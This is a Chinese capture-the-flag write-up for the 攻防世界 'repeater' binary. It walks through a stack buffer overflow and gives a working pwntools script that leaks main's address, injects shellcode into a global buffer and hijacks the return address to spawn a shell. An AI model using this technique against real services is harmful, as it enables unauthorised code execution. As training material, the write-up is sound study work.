PWN 攻防世界 repeater
1.用ida打开,首先我们能看到maim函数先进入一个循环,
里面有一个read函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s[32]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]
sub_91B();
sub_A08();
v5 = 1192227;
puts("I can repeat your input.......");
puts("Please give me your name :");
memset(byte_202040, 0, sizeof(byte_202040));
sub_982(byte_202040, 48LL);
for ( i = 0; i < v5; ++i )
{
printf("%s's input :", byte_202040);
memset(s, 0, sizeof(s));
read(0, s, 0x40uLL);
puts("sorry... I can't.....");
if ( v5 == 3281697 )
{
puts("But there is gift for you :");
printf("%p\n", main);
}
}
return 0LL;
}
可以看到,read函数往s中读入0x40个字节的数据,从上面可以看到s的大小为32,所以存在溢出的漏洞。并且这个溢出可以修改v5和返回地址的值。
char s[32]; // [rsp+0h] [rbp-30h] BYREF
int v5; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]
注意这里的堆栈,rbp-30h是s的地址,rbp-10h是v5的地址,rbp-4h是i的地址
又因为是64位程序,所以rbp+8h是返回地址的地址,到时候修改返回地址即可修改程序的执行流程
2.利用
- 开始的时候会往byte_202040读入数据,我们写入shellcode
- 然后通过溢出我们修改v5的值,从而得到main函数地址
- 通过main函数地址和偏移得到shellcode地址(elf寻址方式似乎和PE有点不一样?)
- 再次溢出修改返回地址,使程序执行shellcode
from pwn import *
sh = remote('61.147.171.105','63802')
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
sh.sendlineafter('name :',shellcode)
num = 3281697
payload = b'a'*0x20 + p64(num)
sh.sendlineafter('input :',payload) #修改v5的值,修改流程
sh.recvuntil('you :\n0x')
main_addr = int(sh.recv(12),16)
shellcode_addr = (main_addr - 0xa33) + 0x202040 # 0x202040是s的地址, 0xa33是main函数的偏移,(main_addr - 0xa33)可以计算出基地址,而基地址加上偏移就是全局变量shellcode的地址
payload2 = b'a'*0x20 + b'b'*0x10 + p64(0x1) + p64(shellcode_addr) #注入shellcode拿到权限
sh.sendlineafter('input',payload2)
sh.interactive()
找漏洞好像还是挺有意思
对...对吗?
Comments NOTHING